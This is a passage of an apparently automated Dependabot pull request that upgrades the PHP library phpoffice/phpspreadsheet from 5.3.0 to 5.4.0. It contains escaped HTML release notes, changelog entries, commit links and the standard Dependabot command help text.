href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.3.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.3.0\u0026new-version=5.4.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it 